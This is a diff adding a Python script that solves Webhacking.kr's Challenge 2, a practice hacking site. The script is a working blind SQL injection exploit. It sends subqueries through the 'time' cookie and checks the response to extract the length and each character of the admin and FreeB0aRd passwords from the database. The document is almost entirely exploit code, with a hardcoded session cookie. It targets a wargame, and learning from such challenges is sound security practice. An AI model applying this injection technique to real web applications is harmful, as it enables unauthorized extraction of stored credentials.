|
| 1 | +#!/usr/bin/python3.4 |
| 2 | +# Written by Anirudh Anand (lucif3r) : email - [email protected] |
| 3 | + |
| 4 | +# This is the solution to 0ldzombie's Webhacking.kr Challenge 2: Blind SQL Injection |
| 5 | +# The script uses requests library in python 3.4 |
| 6 | + |
| 7 | +import re |
| 8 | +import requests |
| 9 | +__author__ = 'lucif3r' |
| 10 | + |
| 11 | + |
| 12 | +class Challenge2: |
| 13 | + |
| 14 | + def __init__(self): |
| 15 | + print("[+] Blind SQL injection for 0ldzombie challenge 2") |
| 16 | + self.PHPSESSID = "1gmj9l627im3q87fb5822topk3" |
| 17 | + self.board_pass = "" |
| 18 | + self.admin_pass = "" |
| 19 | + self.board_pass_length = 0 |
| 20 | + self.admin_pass_length = 0 |
| 21 | + self.url = "http://webhacking.kr/challenge/web/web-02/" |
| 22 | + return |
| 23 | + |
| 24 | + def length_password(self, user): |
| 25 | + """ |
| 26 | + This function is try to understand the length of the password of users given as |
| 27 | + a parameter. |
| 28 | +
|
| 29 | + :param user: -> The name of the user whose password length has to find out. |
| 30 | + :return: |
| 31 | + """ |
| 32 | + for i in range(1, 15): |
| 33 | + cookies = dict(PHPSESSID=self.PHPSESSID, time='1434109174 and (select length (password) from ' + |
| 34 | + str(user) + ') = ' + str(i)) |
| 35 | + req = requests.get(self.url, cookies=cookies) |
| 36 | + res = req.text |
| 37 | + temp = re.findall('2070-01-01 09:00:01', res) |
| 38 | + |
| 39 | + if temp and user == 'admin': |
| 40 | + self.admin_pass_length = i |
| 41 | + print('[+] Admin Password length = ' + str(self.admin_pass_length)) |
| 42 | + break |
| 43 | + |
| 44 | + if temp and user == 'FreeB0aRd': |
| 45 | + self.board_pass_length = i |
| 46 | + print('[+] FreeB0aRd Password length = ' + str(self.board_pass_length)) |
| 47 | + break |
| 48 | + temp = [] |
| 49 | + return |
| 50 | + |
| 51 | + def crack_password(self, user, pass_len): |
| 52 | + """ |
| 53 | + This function wil try to crack the password provided the username and the length |
| 54 | + of the password. Use length_password() to find out the length of the password. |
| 55 | +
|
| 56 | + :param user: -> username of whom the password has to find out |
| 57 | + :param pass_len: -> Length of the password found out for the same user |
| 58 | + :return: |
| 59 | + """ |
| 60 | + for j in range(1, pass_len+1): |
| 61 | + print("[+] Letters more to go: " + str(pass_len+1 - j)) |
| 62 | + |
| 63 | + for i in range(33, 126): |
| 64 | + cookies = dict(PHPSESSID=self.PHPSESSID, time='1434114374 and (select ascii(substr(password, ' + str(j) |
| 65 | + + ', 1)) from ' + str(user) + ') = ' + str(i)) |
| 66 | + req = requests.get(self.url, cookies=cookies) |
| 67 | + res = req.text |
| 68 | + temp = re.findall('2070-01-01 09:00:01', res) |
| 69 | + if temp and user == 'admin': |
| 70 | + self.admin_pass += chr(i) |
| 71 | + print('[+] Admin Password till now = ' + str(self.admin_pass)) |
| 72 | + break |
| 73 | + |
| 74 | + if temp and user == 'FreeB0aRd': |
| 75 | + self.board_pass += chr(i) |
| 76 | + print('[+] FreeB0aRd Password till now = ' + str(self.board_pass)) |
| 77 | + break |
| 78 | + temp = [] |
| 79 | + return |
| 80 | + |
| 81 | + def print_vaules(self): |
| 82 | + print("\n ----------------------------------") |
| 83 | + print("[+] Admin Password Length = " + str(self.admin_pass_length)) |
| 84 | + print("[+] Admin Password = " + str(self.admin_pass)) |
| 85 | + print("[+] FreeB0aRd Password Length = " + str(self.board_pass_length)) |
| 86 | + print("[+] FreeB0aRd Password = " + str(self.board_pass)) |
| 87 | + print(" ---------------------------------- \n") |
| 88 | + |
| 89 | + |
| 90 | +def main(): |
| 91 | + challenge = Challenge2() |
| 92 | + challenge.length_password('admin') |
| 93 | + challenge.length_password('FreeB0aRd') |
| 94 | + challenge.crack_password('admin', 10) |
| 95 | + challenge.crack_password('FreeB0aRd', 9) |
| 96 | + challenge.print_vaules() |
| 97 | + |
| 98 | +if __name__ == '__main__': |
| 99 | + main() |
0 commit comments